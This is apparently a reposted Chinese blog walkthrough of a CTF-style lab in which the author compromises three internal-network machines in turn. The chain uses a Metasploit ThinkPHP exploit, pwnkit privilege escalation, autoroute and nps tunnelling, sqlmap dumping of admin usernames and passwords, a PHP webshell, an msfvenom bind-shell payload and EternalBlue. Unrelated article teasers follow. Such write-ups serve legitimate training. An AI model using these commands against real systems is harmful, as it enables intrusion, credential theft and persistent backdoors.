CTF赛三层内网渗透

CTF赛三层内网渗透

前言

2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在Flag,获取一个Flag对应一个积分,获取三个Flag结束。

第一关 Taget1_centos7

1、访问目标网页

在这里插入图片描述

发现是ThinkPHP架构的网页,此时就要引起注意了(v5版本),此时我想到msfconsole里面有个thinkphp模块,可以用来尝试一下

2、搜索可利用的模块

search thinkphp

在这里插入图片描述

3、使用模块

use 0

配置选项show options

在这里插入图片描述

配置完成后run起来

在这里插入图片描述

成功拿到meterpreter

3.1 第一个flage

在这里插入图片描述

3.2 第二个flag

在这里插入图片描述

4、开始提权

方法:系统漏洞直接提权

4.1 搜索和使用模块
post/multi/recon/local_exploit_suggester

在这里插入图片描述

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

在这里插入图片描述

此时就是root权限了

在这里插入图片描述

4.2拿到第三个flage

在这里插入图片描述

在这里插入图片描述

第二关 Taget1_ubuntu 64位

首先要明确一点,第二关我们的kali是不能够直接去访问的,因为第二台靶机处于的是内网环境,所以我们要通过我们拿下的第一台靶机作为跳板去访问渗透第二台靶机

1、尝试通过kali自带的代理模块

1.1 添加路由

在这里插入图片描述

此时我们有第一关靶机的两个不同权限的会话,我们要通过这两个任意的一个会话添加我们访问第二台靶机的路由

进入会话

sessions -i 2 

在这里插入图片描述

下面这个命令是在靶机上创建类似于cmd命令行格式的,带有回显的命令编辑器,方便我们输入命令

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

查看网段信息

在这里插入图片描述

我们就要用内部网段当做跳板

验证猜想

这里再ping一下百度,确认这个靶机有张网卡确实属于外部网卡

ping -c baidu.com

在这里插入图片描述

回到meterpreter查看路由

run autoroute -p

可以看到此时是没有路由表存在的

在这里插入图片描述

所以需要手动去添加

这里添加的是访问22网段的路由,命令如下

run autoroute -s 192.168.22.0/24

成功添加上路由

在这里插入图片描述

1.2 kali添加代理

bg退出meterpreter

搜索代理模块

search socks5_proxy		

在这里插入图片描述

设置本机为代理服务器

set SRVHOST 127.0.0.1

直接run,开启代理

在这里插入图片描述

如果开启之后就直接停止了,就很有可能是1080端口被占用了

可以使用以下命令查看端口的占用情况

netstat -antlp |grep 1080

在这里插入图片描述

此时还不能访问,因为还没有修改代理的配置文件

修改配置文件

vi /etc/proxychains4.conf

在这里插入图片描述

在这文件最下方的ProxyList中修改,如果有其他的直接注释掉

在这里插入图片描述

此时就可以去访问22网段了

2、使用nmap扫描22网段存活主机

因为VM虚拟机自身网卡的问题,这里进行22网段存活主机显示全部存活

nmap -sn -Pn 192.168.22.0/24

在这里插入图片描述

所以我们这里就不进行22网段的目标查找了,因为这里是我们自己搭建的,这里就借用一下上帝视角,直接去访问目标靶机ip

192.168.22.129

3、成功访问第二层

在这里插入图片描述

4、配置火狐浏览器,访问目标网页

在这里插入图片描述

成功访问到

在这里插入图片描述

这里最后还提示了有一个sql注入点

在这里插入图片描述

5、寻找flage和拿shell的点

使用sqlmap进行注入

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1"

开始注入

在这里插入图片描述

这里就发现问题了

在这里插入图片描述

代理超时了,这个原因就是说msf的代理模块本身就不稳定,不支持我们用工具,此时的代理已经是die掉了,所以我们就要尝试更加稳定的代理nps

6、nps代理工具的下载,安装,配置和使用

我们先关闭sql进程

ps -ef|grep sqlmap

关闭代理

在这里插入图片描述

nps下载地址

https://github.com/ehang-io/nps

先查看自己的kali版本,从而选择适合自己的版本

uname -a 

这里我下载到了/opt目录下

在这里插入图片描述

解压之后就是nps文件

安装nps

./nps install

在这里插入图片描述

启动nps

./nos start

在这里插入图片描述

检查服务开启状态

因为nps默认是8080端口

netstat -antlp |grep 8080

在这里插入图片描述

然后去物理机访问

192.168.38.147:8080
||
kali的ip:8080

在这里插入图片描述

登录成功

在这里插入图片描述

7、nps配置隧道

首先新增一个配置

在这里插入图片描述

在这里插入图片描述

查看客户机命令配置

在这里插入图片描述

然后想办法把下载的npc客户机文件上传到第一个靶机,让它成为跳板

8、上传npc客户机文件到第一个靶机

通过我们拿到的sessions

upload 

在这里插入图片描述
在这里插入图片描述

成功上传

在这里插入图片描述

安装客户机

在这里插入图片描述

在这里插入图片描述

输入刚刚复制的命令

./npc -server=192.168.38.147:8024 -vkey=ksqn2nsug8ls8yhd -type=tc

成功

在这里插入图片描述

在这里插入图片描述

点击隧道->新增->选择socks代理

在这里插入图片描述

修改配置文件为刚刚你设置的端口号

在这里插入图片描述

在这里插入图片描述

再次访问

在这里插入图片描述

成功了

到此为止隧道打通了

9、开始获取meterpreter

使用sqlmap开始注入

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch

这次不仅快,并且不会有超时不稳定的问题

在这里插入图片描述

sqlmap成功了

接下来获取后台的登录账户和密码

获取库名

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch --dbs

在这里插入图片描述

很明显,对我们有用的数据库是bagecms

所以我们先去获取这个数据库的所有表名

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch bagecms --tables

在这里插入图片描述

然后我们去获取bage_admin表里面的字段名

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns

在这里插入图片描述

获取字段中的内容

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin -C username,password --dump 
获取特定的
或者是
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --dump
获取整个表的字段

在这里插入图片描述

10、登录后台

此时要重新配置火狐浏览器,设置端口为新的代理端口才可以访问

同时的话这里有两种方案获取后台地址

10.1、通过网上查询bagecms获取后台地址

建议用谷歌语法查询

在这里插入图片描述

10.2、通过目标扫描查询地址(通用方法)

用物理机的direarch挂代理扫描,具体的安装方法这里我就不再赘述了

python dirsearch.py -u http://192.168.22.129 --p
roxy=scoks5://192.168.38.147:1314

11、在后台写入shell

在这里插入图片描述

11.1获取flag
 flag{eS3sd1IKarw}
11.2进入模块管理

写入木马

在这里插入图片描述

然后去访问文件

http://192.168.22.129/index.php?r=tag&666=phpinfo();

在这里插入图片描述

12、连接蚁剑

注意这里的蚁剑需要设置代理才能连接上目标

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

12.1获取flag

在这里插入图片描述

13、制作正向的后门文件,通过蚁剑上传到目标的靶机

msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > /opt/dict/target2.elf

在这里插入图片描述

找到这个文件,通过蚁剑去上传

在这里插入图片描述

13.1 在kali中监听6666端口
use exploit/multi/handler
show options
set LPORT 6666
set LHOST 192.168.22.129
set payload linux/x64/meterpreter/bind_tcp

这里是监听靶机的6666端口,因为是kali发出的正向

在这里插入图片描述

然后run起来之后去蚁剑执行这个文件

在这里插入图片描述

13.2成功拿下第二个靶机

在这里插入图片描述

第三关 window7

用代理启动msf

在这里插入图片描述

再去弄一个正向的shell获得meterpreter

配置路由

查看一下

run autoroute -p

在这里插入图片描述

添加33网段的路由

run autoroute -s 192.168.33.0/24

在这里插入图片描述

搜索模块

search ms17

通过永恒之蓝获取权限即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/369667.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

AIGC 为何能火爆全网,赋能智能时代?

Hi,大家好,我是半亩花海。2023年,人工智能新浪潮涌起,AIGC 火爆全网,不断赋能各大行业。从短视频平台上火爆的“AI 绘画”,到智能聊天软件 ChatGPT,都引起了大家的广泛关注。那么 AIGC 到底是什…

浙政钉访接口:k8s+slb容器日志报错(:Temporary failure in name resolution。)

在此我只能说兄弟,浙政钉的扫码接口和用户详情返回这两个接口是不需要白名单的, 我们文明人先确定一件事就是,你代码本地能调用到浙政钉返回。ecs服务器curl浙政钉也通的: 这时候和你说要开通白名单的,请放开你的道德…

r0下进程保护

简介 SSDT 的全称是 System Services Descriptor Table,系统服务描述符表。这个表就是一个把 Ring3 的 Win32 API 和 Ring0 的内核 API 联系起来。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地…

如何强制关掉系统或应用程序?这里提供详细方法

总的来说,Windows相当可靠,但有时会挂断并崩溃。我们如何在最少麻烦的情况下重返工作或游戏?为此,我们需要强制退出操作系统。 在本教程中,我们将向你展示如何在最坏的情况下安全关闭或重新启动计算机。我们还将向你展示如何在不触摸鼠标的情况下强制关闭应用程序和快速关…

【51单片机】开发板和单片机的介绍(2)

前言 大家好吖,欢迎来到 YY 滴单片机系列 ,热烈欢迎! 本章主要内容面向接触过单片机的老铁 主要内容含: 欢迎订阅 YY滴C专栏!更多干货持续更新!以下是传送门! YY的《C》专栏YY的《C11》专栏YY的…

挖矿系列:细说Python、conda 和 pip 之间的关系

继续挖矿,挖金矿! 1. Python、conda 和 pip Python、conda 和 pip 是在现代数据科学和软件开发中常用的工具,它们各自有不同的作用,但相互之间存在密切的关系: Python:是一种解释型、面向对象的高级程序设…

【数据集】全国地级市-平均受教育年限-男、女数据集(2000-2020年)

平均受教育年限用以衡量地区的人力资本,指对一定时期、一定区域某一人口群体接受学历教育的年数总和的平均值。参考陈熠辉(2023)等人的计算方式,根据第五次人口普查、第六次人口普查、第七次人口普查结果整理了地级市的平均受教育…

CentOS下安装vlc

一、引言 vlc是一跨多媒体播放器,可以播放本地媒体文件和网络串流,帮助我们排查音视频开发过程中遇到的问题。大部分情况下,我们只需要在Windows系统下安装vlc就可以了。但有一种情况是需要在Linux下安装vlc的:我们的音视频拉流软…

2024美赛C题完整解题教程及代码 网球运动的势头

2024 MCM Problem C: Momentum in Tennis (网球运动的势头) 注:在网球运动中,"势头"通常指的是比赛中因一系列事件(如连续得分)而形成的动力或趋势,这可能对比赛结果产生重要影响。球…

打开率超90%的开发信标题,原来要这样写

写开发信时,邮件标题的撰写尤为重要,买家收到邮件的时候,在手机或其它移动设备上弹出来的信息就是邮件标题和正文第一句话。 好的标题能吸引买家打开邮件,开启高回复率的第一步,下面给大家介绍一下如何撰写高打开率的开…

Linux网络通信——TCP/OSI七层模型/TCP/IP(五层或四层模型)/HTTP报文传输原理

文章目录 消息的传输什么是OSI七层模型OSI七层模型的内容物理层(Physical Layer):数据链路层(Data Link Layer):网络层(Network Layer):传输层(Transport Lay…

vulhub中 Apache Airflow Celery 消息中间件命令执行漏洞复现(CVE-2020-11981)

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。 1.利用这个漏洞需要控…

css1字体属性

一.font-family(字体系列) 不同字体系统用,隔开; 多个字母的字体系统用“”; 二.font-size(字体大小)(有单位px)(默认字体16px) 三.font-weight&#xff08…

linux虚拟机升级g++编译器版本

原先的 更新你的软件包列表: sudo apt update 添加Ubuntu Toolchain PPA(Personal Package Archive),这是一个提供较新编译器版本的第三方软件源: sudo add-apt-repository ppa:ubuntu-toolchain-r/test 再次更新软件包…

gateway网关路由配置

搭建项目(略) gatewa配置文件 server:port: 9999 spring:application:name: gatewaycloud:nacos:discovery:server-addr: localhost:8848username: nacospassword: nacosgateway:routes:- id: api-service1uri: lb://user-login-api #服务名predicat…

Windows下MySQL的界面安装

华子目录 下载MySQL安装MySQL配置MySQL配置环境变量检验MySQL是否安装成功 下载MySQL 首先我们在MySQL的官方下载MySQL https://www.mysql.com 点击download,开始下载 安装MySQL 下载完成后,我们双击msi文件 再点击next 之后我们先勾选I acc…

Qt事件机制

文章目录 1 事件机制2 ignore 和 accept3 bool event(QEvent *event);4 bool eventFilter(QObject *watched, QEvent *event);5 总结 1 事件机制 事件传递图: 记录一下事件的传递顺序,主要围绕 QEventFilter, QEvent, QKeyEvent等事件展开&#xff1a…

N-142基于springboot,vue停车场管理系统

开发工具:IDEA 服务器:Tomcat9.0, jdk1.8 项目构建:maven 数据库:mysql5.7 项目采用前后端分离 前端技术:vueelementUI 服务端技术:springbootmybatis-plus 本项目分为普通用户和管理员…

springboot156基于SpringBoot+Vue的常规应急物资管理系统

基于SpringBootVue的常规应急物资管理系统的设计与实现 摘 要 1 ABSTRACT 2 第一章 绪论 3 1.1研究背景 3 1.2研究意义 3 1.3国内外研究现状 4 1.3.1国外研究现状 4 1.3.2国内研究现状 4 1.4研究内容与方法 5 1.4.1研究内容 5 1.4.2研究方法 5 1.5论文的组织结构 5…

管理类联考-复试-英语-听力

文章目录 准备工作1.如何准备英语听力?2.听力学习注意事项一:培养良好的听音习惯,听读顺序要合理3.听力学习注意事项二:边听边记关键词 训练短期记忆能力4.听力学习注意事项三:熟记语篇衔接词把握信息走向5.听力学习注…